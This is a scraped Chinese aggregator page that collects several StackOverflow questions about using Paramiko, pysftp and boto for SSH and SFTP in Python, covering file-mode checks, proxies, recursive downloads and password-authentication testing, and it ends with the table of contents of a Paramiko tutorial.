using st_mode to identify file or directory

China☆狼群 提交于 2019-12-06 13:55:36
is there any way to identify whether an object is file or directory using st_mode value? I'm using paramiko lstat() to retrieve the st_mode information from sftp files. Yes, the stat structure st_mode does contain that information. Use the stat module to determine if it is a directory: import stat if stat.S_ISDIR(lstat_result.st_mode): 来源: https://stackoverflow.com/questions/15861967/using-st-mode-to-identify-file-or-directory

How to ssh over http proxy in Python?

余生长醉 提交于 2019-12-06 13:28:00
问题 I am adapting a Python script to be OS independent and run on Windows. I have changed its ssh system calls to calls to paramiko functions. I am stuck with the issue of http proxy authentication. In Unix (actually Cygwin) environment I would use ~/.ssh/config Host * ProxyCommand corkscrew http-proxy.example.com 8080 %h %p Is there a way to obtain the same using paramiko (or the Python ssh module) either using or not using corkscrew? This post seems to suggest that, but I don't know how. Note:

Do not download empty folders while downloading from SFTP server using Python

问题 I got a code to download files recursively in Python on this site. This code also downloads empty directories on server also. Please help me to modify this code so that it does not download empty directories from the server. Code I have (based on Python pysftp get_r from Linux works fine on Linux but not on Windows): import os import pysftp from stat import S_IMODE, S_ISDIR, S_ISREG cnopts = pysftp.CnOpts() cnopts.hostkeys = None sftp=pysftp.Connection('192.168.X.X', username='username'

Correct way to get output of run_pty from a boto sshclient

I am trying to execute a remote command on an ec2 instance that needs sudo. example code snippet conn = boto.ec2.connect_to_region(....) instance = conn.get_only_instances(instance_ids=instance_id)[0] ssh_client = sshclient_from_instance(instance, ssh_key_file='path.to.pem,user_name='ec2-user') chan = ssh_client.run_pty('sudo ls /root') Using just ssh_client.run() returns a tuple that was easy to deal with but doesn't allow sudo. run_pty is returning paramiko.channel.Channel and I can use recv() to get some output back but I am not clear how to get the entire stdout. 来源: https://stackoverflow

Force password authentication (ignore keys in .ssh folder) in Paramiko in Python

两盒软妹~` 提交于 2019-12-06 08:50:17
I'm trying to write a small Python program to check whether an SSH server allows a password authentication. Here is the current plan: import base64 import paramiko client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect('ssh.example.com', username='strongbad', password='thecheat') stdin, stdout, stderr = client.exec_command('ls') for line in stdout: print('... ' + line.strip('\n')) client.close() The idea is to grep the output or to later put a try catch block around the connect statement. My problem however is that some of the systems that I

Python ssh client over socks (proxy)

问题 So, I need to connect to SSH server through proxy socks. I read paramiko and twisted.conch docs, but didn`t found proxy socks support there. 回答1: This socket-wrapper allows you to use static ssh-tunnels. I found a common solution for my problem: Use paramiko SSHClient class Extend SSHClient with your own class Re-implement the connect() method: Instead of using a standard socket object we pass to it a fixed proxied socket from the python package sockipy 回答2: Paraproxy (a Paramiko addon for

目录 1. 概述 2. Paramiko的基本使用 2.1 SSHClient关键参数介绍 2.2 SSHClient常用示例 2.2.1 通过用户名和密码方式登陆: 2.2.2 通过用户名和密码方式登陆 ( transport方式 ) 2.2.3 通过用户名和密钥方式登陆 2.3 SFTPClient关键参数介绍 2.4 SFTPClient常用示例 3. 完整代码 1. 概述 本来是不想写Paramiko的,因为我觉得之前的一篇关于Netmiko模块更适合网工,后来发现paramiko有包含SFTP功能,所以还是有必要来讲讲,毕竟我们在设备上是要经常下载配置、上传版本/升级版本用的,而且SFTP比FTP、TFTP更安全。 所以, 你也不用借助其他工具来上传、下载了,通通用 'Python' 来帮你搞定了。 SSH和SFTP都是使用一样的端口号 22。如果对数据安全传输较重视,那么SFTP替代FTP、TFTP是首选。 实验环境说明: 一台思科路由器,用于SSH登陆; 一台华为交换机,用于SFTP上传/下载; PyCharm Pro 2.
